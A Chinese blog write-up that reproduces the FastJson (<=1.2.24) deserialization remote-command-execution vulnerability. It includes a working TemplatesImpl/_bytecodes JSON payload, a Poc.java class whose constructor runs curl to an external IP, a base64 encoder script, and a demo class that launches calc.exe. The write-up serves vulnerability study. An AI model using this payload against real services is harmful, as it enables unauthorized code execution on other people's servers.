FastJson反序列化漏洞

简介: 参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/https://paper.

参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
https://paper.seebug.org/636/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html
jar包下载:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47

Fastjson概念

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象

一个栗子

序列化
PS:需导入fastjson.jar

  • User.java
package fastjsondemo;
import java.io.IOException;
public class User {
    public String Username;
    private String password ;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public User() throws IOException{
        Runtime.getRuntime().exec("calc.exe");
    }
}
  • Test1.java
package fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test1 {
    public static void main(String[] args){
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        String entity1= JSON.toJSONString(user);
        System.out.println(entity1);
        
        String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entity2);
    }
}

img_8d3afa37ebd3e3bf0a9ed1e2a75fd34f.png

反序列化
FastJson中的 parse()parseObject()方法都可以用来将 JSON字符串反序列化成Java对象。但是 parseObject()会额外的将 Java对象转为 JSONObject对象,即 JSON.toJSON()parse() 会识别并调用 目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject()在处理过程中会调用反序列化目标类的所有 settergetter方法。

String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);
img_1ea79be8c2dabebc604d04ae9df716fe.png

img_ca60c7256da03edcc3d70eb6f7e0e6d6.png

PS:json反序列化时会自动调用无参构造器里的方法,导致计算器弹出
password字段设置的是私有属性,FastJson无权直接去反序列化私有字段。

复现fastjson 反序列化导致任意命令执行漏洞

version: FastJson<=1.2.24

环境搭建什么的就不说了,按照大佬给的步骤就行了

  • 这是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:


    img_36cd93ca9f3a9e98caee3ec13650529c.png

    img_319937b6a596f768f7520241375aefa6.png

漏洞原理:

  • 原理
    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。
    想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:
    ①目标网站使用fastjson库解析json
    ②解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
    ③目标使用的jdk中存在TemplatesImpl
  • 调用链(偷大佬的图)
    img_d4d76e3e78b7ddb8bdd65dab133b9f91.png

    利用方式
  • poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {    #强制类型转化为AbstractTranslet类

    public Poc() throws IOException {
        Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}
  • 执行命令javac Poc.java
  • 1.py(将Poc.class里面的内容base64加密(FastJson提取byte[]数组字段值时会进行Base64解码,所以构造payload时需要对 _bytecodes 进行Base64处理))
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
  • payload
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}
img_b05f05aada2890b9a13d26de582b4163.png
img_fc412aa8f2c8d2b4b768364591bb8b58.png
目录
相关文章
hutool工具对象序列化和反序列化
hutool工具对象序列化和反序列化
hutool工具对象序列化和反序列化
|
4月前
jackson反序列化器获取类型
jackson反序列化器获取类型
24 0
|
11月前
|
JSON 安全 fastjson
Fastjson漏洞详解
Fastjson漏洞详解
1377 0
|
11月前
|
JSON 缓存 安全
fastjson反序列化历史与检测
fastjson反序列化历史与检测
|
JSON 安全 fastjson
Fastjson 1.2.80 及之前版本存在 Throwable 反序列化漏洞
Fastjson 1.2.80 及之前版本存在 Throwable 反序列化漏洞
420 0
|
存储 JSON fastjson
聊聊fastjson反序列化的那些坑
聊聊fastjson反序列化的那些坑
2286 0
聊聊fastjson反序列化的那些坑
|
Java fastjson
fastJson序列化与反序列化
fastJson序列化与反序列化
|
JSON fastjson Java
Fastjson反序列化随机性失败
Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!
266 0
Fastjson反序列化随机性失败
|
存储 安全 Dubbo
深入剖析 Java 反序列化漏洞(上)
在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。 但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。 DUBBO:对象传输必须要实现序列化 RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口
深入剖析 Java 反序列化漏洞(上)
|
存储 JSON 安全
深入剖析 Java 反序列化漏洞(下)
在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。 但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。 DUBBO:对象传输必须要实现序列化 RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口
深入剖析 Java 反序列化漏洞(下)